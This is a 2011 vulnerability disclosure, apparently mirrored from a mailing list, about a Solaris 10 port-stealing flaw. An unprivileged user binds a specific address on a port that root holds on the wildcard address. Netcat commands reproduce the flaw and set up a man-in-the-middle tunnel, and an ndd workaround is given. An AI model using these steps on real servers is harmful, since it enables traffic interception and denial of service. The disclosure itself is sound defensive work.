Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26036
HistoryMar 31, 2011 - 12:00 a.m.

Solaris 10 Port Stealing Vulnerability

2011-03-3100:00:00
vulners.com
10

I reported this to Oracle, but I have been told that this is part of the
BSD standard and a desire feature (!).

In a nutshell, as an ordinary user, I can bind to a port using a
specific address even if another process is already bound to it with a
wildcard address. This makes it very easy for an unprivileged user with
login access to the server to set up a denial of service or
man-in-the-middle attack. Of course, this applies to ports greater than
1024.

Steps to reproduce:

As root, start daemon on *:55555:

[root@foo:/root]# netcat -l -p 55555

As an ordinary user, attempt to start another daemon listening to
the same port:

[user@foo:/home/user]$ netcat -l -p 55555
Error: Couldn't setup listening socket (err=-3)

Good, now let's try a specific interface:

[user@foo:/home/user]$ netcat -l -p 55555 -s foo

It's listening!

Now establish a connection to port 55555:

[user@bar:/home/user]$ netcat foo 55555

I confirm that it is the second netcat (the unprivileged one
listening on foo:55555) receiving the data. If I stop it and
reconnect, the netcat running as root answers.

To illustrate the seriousness, here I create a tunnel from
foo:55555 to localhost:55555, inserting myself between the
client and the real daemon!

[user@foo:/home/user]$ netcat -L localhost:55555 -p 55555 -s foo -v
Connection from A.B.C.D:41378
localhost [127.0.0.1] 55555 open

This vulnerability also exists in Solaris 9.

The work-around, I was told, was to make the port privileged (only root
can bind to the port):

[root@foo:/root]# ndd -set /dev/tcp tcp_extra_priv_ports_add 55555

This is not a practical solution, nor does it protect ordinary users who
may run software that starts a daemon listing on a wildcard address.

A better solution, in my opinion, would be to disable this feature by
default and provide a system variable to enable the behaviour only when
it is desired.


Chris O'Regan <[email protected]>
Senior Unix Systems Administrator, Academic IT Services
Faculty of Engineering and Computer Science
Concordia University, Montreal, Canada